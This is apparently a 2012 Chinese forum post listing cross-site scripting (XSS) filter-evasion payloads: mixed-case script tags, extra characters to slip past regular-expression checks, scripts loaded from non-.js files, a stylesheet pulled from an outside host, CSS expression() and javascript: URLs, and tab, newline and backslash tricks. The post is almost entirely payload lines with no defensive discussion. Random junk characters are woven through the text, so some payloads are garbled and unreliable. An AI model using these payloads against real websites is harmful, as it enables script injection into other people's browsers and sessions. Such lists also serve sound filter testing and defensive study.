标题: Cross Site Scripting(XSS)攻击手法介绍 [打印本页] 作者: admin 时间: 2012-12-31 09:59 标题: Cross Site Scripting(XSS)攻击手法介绍 1. 改变字符大小写 : m# I4 |% w/ B* D ]* e 2 K# k3 }1 S- L }# ]7 v. h / v: y! C& A7 T c+ w; v% H
( M. Z/ K9 t/ N, u9 @/ K) n& O <sCript>alert(‘d’)</scRipT>5 b( A$ v9 ]0 Q7 Z
9 V5 Q$ J: @9 D ?2. 利用多加一些其它字符来规避Regular Expression的检查7 C' X1 n7 U/ o7 [) L, \' |: U
1 z4 O6 S5 W5 ]7 [( ~* J
<<script>alert(‘c’)//<</script> o, }" M6 A& q# N 5 g7 `1 _1 J z+ c <SCRIPT a=">" SRC="t.js"></SCRIPT>6 f4 T( a5 c- q6 {) j, M
1 o- k. M# @( y0 a* a! n+ [& Q <SCRIPT =">" SRC="t.js"></SCRIPT>0 T# Q: @. }2 n' I5 B
2 i& S$ G2 }( A' n <SCRIPT a=">" ” SRC="t.js"></SCRIPT>" H- h; }. y% ~* P6 h& K$ b4 ]7 N1 Y W
! u6 f3 [6 h! p, T3 {
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>$ ^0 A6 j' k* H& G/ x f
/ ^% k# k3 ?7 V0 `3 M( u <SCRIPT a=`>` SRC="t.js"></SCRIPT>0 s u" G( i8 h% L
% \ a1 A2 m8 j3 \- X
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>$ ]; h/ D: c' i& i: b
- r& D: b# o0 u t0 B3. 以其它扩展名取代.js/ n, B( |& Z1 K
+ @% p. `% o- {( } <script src="bad.jpg"></script>8 }' C& a; p% z7 Z% w
# x& w Y# ^# Y1 S. ]
4. 将Javascript写在CSS档里 ' x: b+ w& S6 M: P1 W+ s* l# y: W+ O7 P* h8 J' F
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> 0 Y; ~# }! E: W2 _1 q- p b* o$ o5 v8 ~* ^- R6 H
example: ) _# {' j8 k3 ?5 b: k8 o 0 y" J8 \/ S. r$ M7 |' R+ }+ ~ E% u body {3 {; n! `2 r! Q8 O; g
/ v0 s" Y) K6 N1 `% M- R background-image: url(‘javascript:alert("XSS");’) . e8 \7 v. a8 r5 u# ~2 u$ O / U0 I6 G' I2 v' i$ i. r$ z }0 I- L ?+ T. j
: C( P3 Q6 ~/ \9 N/ n
5. 在script的tag里加入一些其它字符3 R0 ` C r6 E5 n) e
0 E! a5 w4 r! ~: M3 Q+ b( ~
<SCRIPT/SRC="t.js"></SCRIPT>9 M @9 E+ q/ I, a/ j
- f- [& H/ T) Y o
<SCRIPT/anyword SRC="t.js"></SCRIPT>: H* O. ^. w( P$ F" f
^7 C: A- y2 F8 ^+ M( H
6. 使用tab或是new line来规避 ) }! d9 [/ A; H7 }$ V8 b! M4 K
<img src="jav ascr ipt:alert(‘XSS3′)"># H- K2 D: [" i9 L- a6 _ q+ D8 \
, ]: F* y8 l/ u+ B: r
<img src="jav ascr ipt:alert(‘XSS3′)"> 1 S1 C9 D9 L# f$ T4 H& Z; l6 f4 w5 p7 Q
<IMG SRC="jav ascript:alert(‘XSS’);"># b) _% Y5 O4 j: P( M& V6 _
* Q f; | P' n* d! I# [
-> tag3 M: I) D+ f% p2 X+ B6 b1 U
. n0 R& N! w( u9 u' R8 U2 ~
-> new line( a! S1 f Z% D* J8 b, ^9 O
& m* v; }7 d0 K+ X; g
7. 使用"\"来规避 8 S( M) V& C/ W5 x- ^! H, j + R3 ?/ [5 T1 [ m5 E: F <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE> " v# g; I1 \3 Y2 |* a # a, U0 s8 l4 Q4 h7 z <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>5 g# z& V4 t! \8 S4 A7 g! a
8 _8 w: M* x, y8 i. ]9 P) p( Q <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))"> , D6 v- i" \9 G) B ^3 v+ O& }4 J- j; a) p e0 U
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">. H/ q8 k) k8 M; S* d- J. R